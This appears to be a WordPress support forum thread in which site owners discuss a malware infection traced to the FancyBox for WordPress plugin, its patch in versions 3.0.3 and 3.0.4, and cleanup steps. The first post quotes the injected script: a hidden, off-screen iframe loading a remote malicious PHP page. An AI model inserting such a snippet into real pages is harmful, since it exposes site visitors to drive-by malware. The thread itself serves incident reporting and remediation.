    I have last version of your plugin and WordPress.

    Everything was ok until today. I’ve got a report from sitelock that my Contact page on my blog is infected with malware with iframe redirecting to h t t p : / / 203koko.eu/hjnfh/ipframe2.php

    Chcecked my page source on this contact page and found something like this:

    <script>/*<![CDATA[*/if(navigator.userAgent.match(/msie/i)){document.write(‘ <div style=”position:absolute;left:-2000px;width:2000px”><iframe src=”https://203koko.eu/hjnfh/ipframe2.php&#8221; width=”20″ height=”30″ ></iframe></div>’);}/*]]>*/</script>

    I desactivated just Total Cache and this page is not infected anymore.

    I have other plugins (up to date) active:

    Akismet Version 3.0.4
    Custom Posts Per Page Version 1.7.1
    FancyBox for WordPress Version 3.0.2
    GetSocial Version 2.0.1
    NextCellent Gallery Version 1.9.25.1
    Official StatCounter Plugin Version 1.6.9
    Use Google Libraries Version 1.6.2
    WordPress SEO Version 1.7.1

    Can anybody helps me to determine source of this malware?

    Best

  • I requested a review less than an hour ago.. I still have to wait.

    I submitted mine about an hour ago. Hopefully will hear something by this evening. Once I do, I will post the results.

    Just wanted to let everyone know my site is backup again and malware free.

    fancybox in other plugins?

    in doing a search on my own computer, it looks like nextgen gallery includes fancybox? which also makes me think that other image-handling plugins may include it as well.

    re: fancybox in other plugins?

    Just for complete documentation, here’s the wordpress search for plugins with fancybox tag:

    It looks like the Fancy Box plugin has been patched as it’s now available to download again on the Word Press plugin site.

    Here is the readme text showing the fix:

    = 3.0.3 =
    * Fixed a security issue. (Thanks to mickaelb for reporting and Konstantin Kovshenin for providing the fix)

    I just want to make sure it’s safe before making it live on my site again.

    wpwalker,
    i just took a quick look. The issue is not part of fancybox itself, so other plugins using fancybox are not affected by this (unless they have their own security issues of course). It’s just the result of not properly checking who is reseting the plugin options.

    oh that’s interesting! so what is it that is not checking?

    Hi.

    The plugin was updated a few hours ago with a fix for the vulnerability (in version 3.0.3).

    Shortly after that, one further change has been made in v3.0.4, renaming the affected setting where the code was being stored (ExtraCalls) in the hope this helps affected sites to recover after updating even if the user doesn’t know about the security issue.

    The Extra Calls feature is an advanced setting disabled by default that most sites won’t need to use, but those that did use it will have to check this setting and reconfigure it.

    Apologies to everyone for the inconvenience.

    As others have reported, my site was also removed from Google’s list after uninstalling the plugin.

    Do you think just deleting the plugin fixes it?

    nicola, it does, but do make sure that select * from wp_options where option_name = 'mfbfw'; doesn’t return anything in your database (no rows) after your remove the plugin.

    I use Showbiz Pro Responsive Teaser WordPress Plugin and under source code I notice fancybox js is used. Would this be the same plug-in and does that mean the Showbiz Pro plug-in is vulnerable (again?)

    @jonathanri fancybox.js is not vulnerable in this case, no. Only the fancybox-for-wordpress plugin is (and any unknown derivations and forks thereof).

    OK that’s good to know. I was hacked when that plug-in was vulnerable around Christmas so it is a relief to know I can re-instate it after switching it off this morning. I don’t want to go through all that again. Thanks for replying Gennady, I really do appreciate your quick response there.
